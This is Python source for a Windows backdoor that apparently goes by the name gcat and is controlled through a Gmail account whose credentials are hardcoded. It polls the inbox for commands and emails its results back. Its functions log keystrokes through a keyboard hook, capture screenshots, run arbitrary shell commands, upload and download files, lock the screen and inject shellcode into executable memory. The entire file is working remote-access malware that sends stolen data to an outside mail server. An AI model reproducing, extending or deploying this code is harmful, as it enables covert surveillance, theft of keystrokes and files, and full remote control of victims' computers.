import subprocess
import sys
import os
import base64
import binascii
import threading
import time
import random
import string
import imaplib
import email
import uuid
import platform
import ctypes
import json
#import logging

#from traceback import print_exc, format_exc
from base64 import b64decode
from smtplib import SMTP
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email import Encoders
from struct import pack
from zlib import compress, crc32
from ctypes import c_void_p, c_int, create_string_buffer, sizeof, windll, Structure, POINTER, WINFUNCTYPE, CFUNCTYPE, POINTER
from ctypes.wintypes import BOOL, DOUBLE, DWORD, HBITMAP, HDC, HGDIOBJ, HWND, INT, LPARAM, LONG, RECT, UINT, WORD, MSG

#######################################
gmail_user = 'gcat.is.the.shit@gmail.com'
gmail_pwd = 'veryc00lp@ssw0rd'
server = 'smtp.gmail.com'
server_port = 587
#######################################

#Prints error messages and info to stdout
#verbose = True
#log_level = 20 

#if verbose is True:
#    log_level = 10

#logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")

#generates a unique uuid 
uniqueid = str(uuid.uuid5(uuid.NAMESPACE_DNS, str(uuid.getnode())))

WH_KEYBOARD_LL=13                                                                 
WM_KEYDOWN=0x0100
CTRL_CODE = 162

### Following code was stolen from python-mss https://github.com/BoboTiG/python-mss ###
class BITMAPINFOHEADER(Structure):
    _fields_ = [('biSize', DWORD), ('biWidth', LONG), ('biHeight', LONG),
                ('biPlanes', WORD), ('biBitCount', WORD),
                ('biCompression', DWORD), ('biSizeImage', DWORD),
                ('biXPelsPerMeter', LONG), ('biYPelsPerMeter', LONG),
                ('biClrUsed', DWORD), ('biClrImportant', DWORD)]

class BITMAPINFO(Structure):
    _fields_ = [('bmiHeader', BITMAPINFOHEADER), ('bmiColors', DWORD * 3)]

class screenshot(threading.Thread):
    ''' Mutliple ScreenShots implementation for Microsoft Windows. '''

    def __init__(self, jobid):
        ''' Windows initialisations. '''
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.daemon = True
        self._set_argtypes()
        self._set_restypes()
        self.start()

    def _set_argtypes(self):
        ''' Functions arguments. '''

        self.MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD, POINTER(RECT),
                                           DOUBLE)
        windll.user32.GetSystemMetrics.argtypes = [INT]
        windll.user32.EnumDisplayMonitors.argtypes = [HDC, c_void_p,
                                                      self.MONITORENUMPROC,
                                                      LPARAM]
        windll.user32.GetWindowDC.argtypes = [HWND]
        windll.gdi32.CreateCompatibleDC.argtypes = [HDC]
        windll.gdi32.CreateCompatibleBitmap.argtypes = [HDC, INT, INT]
        windll.gdi32.SelectObject.argtypes = [HDC, HGDIOBJ]
        windll.gdi32.BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT,
                                        DWORD]
        windll.gdi32.DeleteObject.argtypes = [HGDIOBJ]
        windll.gdi32.GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, c_void_p,
                                           POINTER(BITMAPINFO), UINT]

    def _set_restypes(self):
        ''' Functions return type. '''

        windll.user32.GetSystemMetrics.restypes = INT
        windll.user32.EnumDisplayMonitors.restypes = BOOL
        windll.user32.GetWindowDC.restypes = HDC
        windll.gdi32.CreateCompatibleDC.restypes = HDC
        windll.gdi32.CreateCompatibleBitmap.restypes = HBITMAP
        windll.gdi32.SelectObject.restypes = HGDIOBJ
        windll.gdi32.BitBlt.restypes = BOOL
        windll.gdi32.GetDIBits.restypes = INT
        windll.gdi32.DeleteObject.restypes = BOOL

    def enum_display_monitors(self, screen=-1):
        ''' Get positions of one or more monitors.
            Returns a dict with minimal requirements.
        '''

        if screen == -1:
            SM_XVIRTUALSCREEN, SM_YVIRTUALSCREEN = 76, 77
            SM_CXVIRTUALSCREEN, SM_CYVIRTUALSCREEN = 78, 79
            left = windll.user32.GetSystemMetrics(SM_XVIRTUALSCREEN)
            right = windll.user32.GetSystemMetrics(SM_CXVIRTUALSCREEN)
            top = windll.user32.GetSystemMetrics(SM_YVIRTUALSCREEN)
            bottom = windll.user32.GetSystemMetrics(SM_CYVIRTUALSCREEN)
            yield ({
                b'left': int(left),
                b'top': int(top),
                b'width': int(right - left),
                b'height': int(bottom - top)
            })
        else:

            def _callback(monitor, dc, rect, data):
                ''' Callback for MONITORENUMPROC() function, it will return
                    a RECT with appropriate values.
                '''
                rct = rect.contents
                monitors.append({
                    b'left': int(rct.left),
                    b'top': int(rct.top),
                    b'width': int(rct.right - rct.left),
                    b'height': int(rct.bottom - rct.top)
                })
                return 1

            monitors = []
            callback = self.MONITORENUMPROC(_callback)
            windll.user32.EnumDisplayMonitors(0, 0, callback, 0)
            for mon in monitors:
                yield mon

    def get_pixels(self, monitor):
        ''' Retrieve all pixels from a monitor. Pixels have to be RGB.

            [1] A bottom-up DIB is specified by setting the height to a
            positive number, while a top-down DIB is specified by
            setting the height to a negative number.
            https://msdn.microsoft.com/en-us/library/ms787796.aspx
            https://msdn.microsoft.com/en-us/library/dd144879%28v=vs.85%29.aspx
        '''

        width, height = monitor[b'width'], monitor[b'height']
        left, top = monitor[b'left'], monitor[b'top']
        SRCCOPY = 0xCC0020
        DIB_RGB_COLORS = BI_RGB = 0
        srcdc = memdc = bmp = None

        try:
            bmi = BITMAPINFO()
            bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER)
            bmi.bmiHeader.biWidth = width
            bmi.bmiHeader.biHeight = -height  # Why minus? See [1]
            bmi.bmiHeader.biPlanes = 1  # Always 1
            bmi.bmiHeader.biBitCount = 24
            bmi.bmiHeader.biCompression = BI_RGB
            buffer_len = height * width * 3
            self.image = create_string_buffer(buffer_len)
            srcdc = windll.user32.GetWindowDC(0)
            memdc = windll.gdi32.CreateCompatibleDC(srcdc)
            bmp = windll.gdi32.CreateCompatibleBitmap(srcdc, width, height)
            windll.gdi32.SelectObject(memdc, bmp)
            windll.gdi32.BitBlt(memdc, 0, 0, width, height, srcdc, left, top,
                                SRCCOPY)
            bits = windll.gdi32.GetDIBits(memdc, bmp, 0, height, self.image,
                                          bmi, DIB_RGB_COLORS)
            if bits != height:
                raise ScreenshotError('MSS: GetDIBits() failed.')
        finally:
            # Clean up
            if srcdc:
                windll.gdi32.DeleteObject(srcdc)
            if memdc:
                windll.gdi32.DeleteObject(memdc)
            if bmp:
                windll.gdi32.DeleteObject(bmp)

        # Replace pixels values: BGR to RGB
        self.image[2:buffer_len:3], self.image[0:buffer_len:3] = \
            self.image[0:buffer_len:3], self.image[2:buffer_len:3]
        return self.image

    def save(self,
             output='screenshot-%d.png',
             screen=-1,
             callback=lambda *x: True):
        ''' Grab a screenshot and save it to a file.

            Parameters:
             - output - string - the output filename. It can contain '%d' which
                                 will be replaced by the monitor number.
             - screen - int - grab one screenshot of all monitors (screen=-1)
                              grab one screenshot by monitor (screen=0)
                              grab the screenshot of the monitor N (screen=N)
             - callback - function - in case where output already exists, call
                                     the defined callback function with output
                                     as parameter. If it returns True, then
                                     continue; else ignores the monitor and
                                     switches to ne next.

            This is a generator which returns created files.
        '''

        # Monitors screen shots!
        for i, monitor in enumerate(self.enum_display_monitors(screen)):
            if screen <= 0 or (screen > 0 and i + 1 == screen):
                fname = output
                if '%d' in output:
                    fname = output.replace('%d', str(i + 1))
                callback(fname)
                self.save_img(data=self.get_pixels(monitor),
                              width=monitor[b'width'],
                              height=monitor[b'height'],
                              output=fname)
                yield fname

    def save_img(self, data, width, height, output):
        ''' Dump data to the image file.
            Pure python PNG implementation.
            Image represented as RGB tuples, no interlacing.
            http://inaps.org/journal/comment-fonctionne-le-png
        '''

        zcrc32 = crc32
        zcompr = compress
        len_sl = width * 3
        scanlines = b''.join(
            [b'0' + data[y * len_sl:y * len_sl + len_sl]
             for y in range(height)])

        magic = pack(b'>8B', 137, 80, 78, 71, 13, 10, 26, 10)

        # Header: size, marker, data, CRC32
        ihdr = [b'', b'IHDR', b'', b'']
        ihdr[2] = pack(b'>2I5B', width, height, 8, 2, 0, 0, 0)
        ihdr[3] = pack(b'>I', zcrc32(b''.join(ihdr[1:3])) & 0xffffffff)
        ihdr[0] = pack(b'>I', len(ihdr[2]))

        # Data: size, marker, data, CRC32
        idat = [b'', b'IDAT', b'', b'']
        idat[2] = zcompr(scanlines, 9)
        idat[3] = pack(b'>I', zcrc32(b''.join(idat[1:3])) & 0xffffffff)
        idat[0] = pack(b'>I', len(idat[2]))

        # Footer: size, marker, None, CRC32
        iend = [b'', b'IEND', b'', b'']
        iend[3] = pack(b'>I', zcrc32(iend[1]) & 0xffffffff)
        iend[0] = pack(b'>I', len(iend[2]))

        with open(os.path.join(os.getenv('TEMP') + output), 'wb') as fileh:
            fileh.write(
                magic + b''.join(ihdr) + b''.join(idat) + b''.join(iend))
            return
        err = 'MSS: error writing data to "{0}".'.format(output)
        raise ScreenshotError(err)

    def run(self):
        img_name = genRandomString() + '.png'
        for filename in self.save(output=img_name, screen=-1):
            sendEmail({'cmd': 'screenshot', 'res': 'Screenshot taken'}, jobid=self.jobid, attachment=[os.path.join(os.getenv('TEMP') + img_name)])

### End of python-mss code ###

class msgparser:

    def __init__(self, msg_data):
        self.attachment = None
        self.getPayloads(msg_data)
        self.getSubjectHeader(msg_data)
        self.getDateHeader(msg_data)

    def getPayloads(self, msg_data):
        for payload in email.message_from_string(msg_data[1][0][1]).get_payload():
            if payload.get_content_maintype() == 'text':
                self.text = payload.get_payload()
                self.dict = json.loads(payload.get_payload())

            elif payload.get_content_maintype() == 'application':
                self.attachment = payload.get_payload()

    def getSubjectHeader(self, msg_data):
        self.subject = email.message_from_string(msg_data[1][0][1])['Subject']

    def getDateHeader(self, msg_data):
        self.date = email.message_from_string(msg_data[1][0][1])['Date']

class keylogger(threading.Thread):
    #Stolen from http://earnestwish.com/2015/06/09/python-keyboard-hooking/                                                          
    exit = False

    def __init__(self, jobid):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.daemon = True
        self.hooked  = None
        self.keys = ''
        self.start()

    def installHookProc(self, pointer):                                           
        self.hooked = ctypes.windll.user32.SetWindowsHookExA( 
                        WH_KEYBOARD_LL, 
                        pointer, 
                        windll.kernel32.GetModuleHandleW(None), 
                        0
        )

        if not self.hooked:
            return False
        return True

    def uninstallHookProc(self):                                                  
        if self.hooked is None:
            return
        ctypes.windll.user32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

    def getFPTR(self, fn):                                                                  
        CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
        return CMPFUNC(fn)

    def hookProc(self, nCode, wParam, lParam):                                              
        if wParam is not WM_KEYDOWN:
            return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)

        self.keys += chr(lParam[0])

        if len(self.keys) > 100:
            sendEmail({'cmd': 'keylogger', 'res': r'{}'.format(self.keys)}, self.jobid)
            self.keys = ''

        if (CTRL_CODE == int(lParam[0])) or (self.exit == True):
            sendEmail({'cmd': 'keylogger', 'res': 'Keylogger stopped'}, self.jobid)
            self.uninstallHookProc()

        return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)     

    def startKeyLog(self):                                                                
         msg = MSG()
         ctypes.windll.user32.GetMessageA(ctypes.byref(msg),0,0,0)

    def run(self):                                 
        pointer = self.getFPTR(self.hookProc)

        if self.installHookProc(pointer):
            sendEmail({'cmd': 'keylogger', 'res': 'Keylogger started'}, self.jobid)
            self.startKeyLog()

class download(threading.Thread):

    def __init__(self, jobid, filepath):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.filepath = filepath

        self.daemon = True
        self.start()

    def run(self):
        try:
            if os.path.exists(self.filepath) is True:
                sendEmail({'cmd': 'download', 'res': 'Success'}, self.jobid, [self.filepath])
            else:
                sendEmail({'cmd': 'download', 'res': 'Path to file invalid'}, self.jobid)
        except Exception as e:
            sendEmail({'cmd': 'download', 'res': 'Failed: {}'.format(e)}, self.jobid)

class upload(threading.Thread):

    def __init__(self, jobid, dest, attachment):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.dest = dest
        self.attachment = attachment

        self.daemon = True
        self.start()

    def run(self):
        try:
            with open(self.dest, 'wb') as fileh:
                fileh.write(b64decode(self.attachment))
            sendEmail({'cmd': 'upload', 'res': 'Success'}, self.jobid)
        except Exception as e:
            sendEmail({'cmd': 'upload', 'res': 'Failed: {}'.format(e)}, self.jobid)

class lockScreen(threading.Thread):

    def __init__(self, jobid):
        threading.Thread.__init__(self)
        self.jobid = jobid

        self.daemon = True
        self.start()

    def run(self):
        try:
            ctypes.windll.user32.LockWorkStation()
            sendEmail({'cmd': 'lockscreen', 'res': 'Success'}, jobid=self.jobid)
        except Exception as e:
            #if verbose == True: print print_exc()
            pass

class execShellcode(threading.Thread):

    def __init__(self, shellc, jobid):
        threading.Thread.__init__(self)
        self.shellc = shellc
        self.jobid = jobid

        self.daemon = True
        self.start()

    def run(self):
        try:
            shellcode = bytearray(self.shellc)

            ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 
                                                      ctypes.c_int(len(shellcode)), 
                                                      ctypes.c_int(0x3000), 
                                                      ctypes.c_int(0x40))
        
            buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
        
            ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) 
            
            ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                                     ctypes.c_int(0),
                                                     ctypes.c_int(ptr),
                                                     ctypes.c_int(0),
                                                     ctypes.c_int(0),
                                                     ctypes.pointer(ctypes.c_int(0)))
            
            ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

        except Exception as e:
            #if verbose == True: print_exc()
            pass

class execCmd(threading.Thread):

    def __init__(self, command, jobid):
        threading.Thread.__init__(self)
        self.command = command
        self.jobid = jobid

        self.daemon = True
        self.start()

    def run(self):
        try:
            proc = subprocess.Popen(self.command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            stdout_value = proc.stdout.read()
            stdout_value += proc.stderr.read()

            sendEmail({'cmd': self.command, 'res': stdout_value}, jobid=self.jobid)
        except Exception as e:
            #if verbose == True: print_exc()
            pass

def genRandomString(slen=10):
    return ''.join(random.sample(string.ascii_letters + string.digits, slen))

def isAdmin():
    return ctypes.windll.shell32.IsUserAnAdmin()

def getSysinfo():
    return '{}-{}'.format(platform.platform(), os.environ['PROCESSOR_ARCHITECTURE'])

def detectForgroundWindows():
    #Stolen fom https://sjohannes.wordpress.com/2012/03/23/win32-python-getting-all-window-titles/
    EnumWindows = ctypes.windll.user32.EnumWindows
    EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int))
    GetWindowText = ctypes.windll.user32.GetWindowTextW
    GetWindowTextLength = ctypes.windll.user32.GetWindowTextLengthW
    IsWindowVisible = ctypes.windll.user32.IsWindowVisible

    titles = []
    def foreach_window(hwnd, lParam):
        if IsWindowVisible(hwnd):
            length = GetWindowTextLength(hwnd)
            buff = ctypes.create_unicode_buffer(length + 1)
            GetWindowText(hwnd, buff, length + 1)
            titles.append(buff.value)
        return True

    EnumWindows(EnumWindowsProc(foreach_window), 0)
     
    return titles

class sendEmail(threading.Thread):

    def __init__(self, text, jobid='', attachment=[], checkin=False):
        threading.Thread.__init__(self)
        self.text = text
        self.jobid = jobid
        self.attachment = attachment
        self.checkin = checkin
        self.daemon = True
        self.start()

    def run(self):
        sub_header = uniqueid
        if self.jobid:
            sub_header = 'imp:{}:{}'.format(uniqueid, self.jobid)
        elif self.checkin:
            sub_header = 'checkin:{}'.format(uniqueid)

        msg = MIMEMultipart()
        msg['From'] = sub_header
        msg['To'] = gmail_user
        msg['Subject'] = sub_header

        message_content = json.dumps({'fgwindow': detectForgroundWindows(), 'sys': getSysinfo(), 'admin': isAdmin(), 'msg': self.text})
        msg.attach(MIMEText(str(message_content)))

        for attach in self.attachment:
            if os.path.exists(attach) == True:
                part = MIMEBase('application', 'octet-stream')
                part.set_payload(open(attach, 'rb').read())
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach)))
                msg.attach(part)

        while True:
            try:
                mailServer = SMTP()
                mailServer.connect(server, server_port)
                mailServer.starttls()
                mailServer.login(gmail_user,gmail_pwd)
                mailServer.sendmail(gmail_user, gmail_user, msg.as_string())
                mailServer.quit()
                break
            except Exception as e:
                #if verbose == True: print_exc()
                time.sleep(10)

def checkJobs():
    #Here we check the inbox for queued jobs, parse them and start a thread

    while True:

        try:
            c = imaplib.IMAP4_SSL(server)
            c.login(gmail_user, gmail_pwd)
            c.select("INBOX")

            typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 'gcat:{}')".format(uniqueid))

            for msg_id in id_list[0].split():
                
                #logging.debug("[checkJobs] parsing message with uid: {}".format(msg_id))
                
                msg_data = c.uid('fetch', msg_id, '(RFC822)')
                msg = msgparser(msg_data)
                jobid = msg.subject.split(':')[2]
                
                if msg.dict:
                    cmd = msg.dict['cmd'].lower()
                    arg = msg.dict['arg']

                    #logging.debug("[checkJobs] CMD: {} JOBID: {}".format(cmd, jobid))

                    if cmd == 'execshellcode':
                        execShellcode(arg, jobid)

                    elif cmd == 'download':
                        download(jobid, arg)

                    elif cmd == 'upload':
                        upload(jobid, arg, msg.attachment)

                    elif cmd == 'screenshot':
                        screenshot(jobid)

                    elif cmd == 'cmd':
                        execCmd(arg, jobid)

                    elif cmd == 'lockscreen':
                        lockScreen(jobid)

                    elif cmd == 'startkeylogger':
                        keylogger.exit = False
                        keylogger(jobid)

                    elif cmd == 'stopkeylogger':
                        keylogger.exit = True

                    elif cmd == 'forcecheckin':
                        sendEmail("Host checking in as requested", checkin=True)

                    else:
                        raise NotImplementedError

            c.logout()

            time.sleep(10)
        
        except Exception as e:
            #logging.debug(format_exc())
            time.sleep(10)

if __name__ == '__main__':
    sendEmail("0wn3d!", checkin=True)
    try:
        checkJobs()
    except KeyboardInterrupt:
        pass
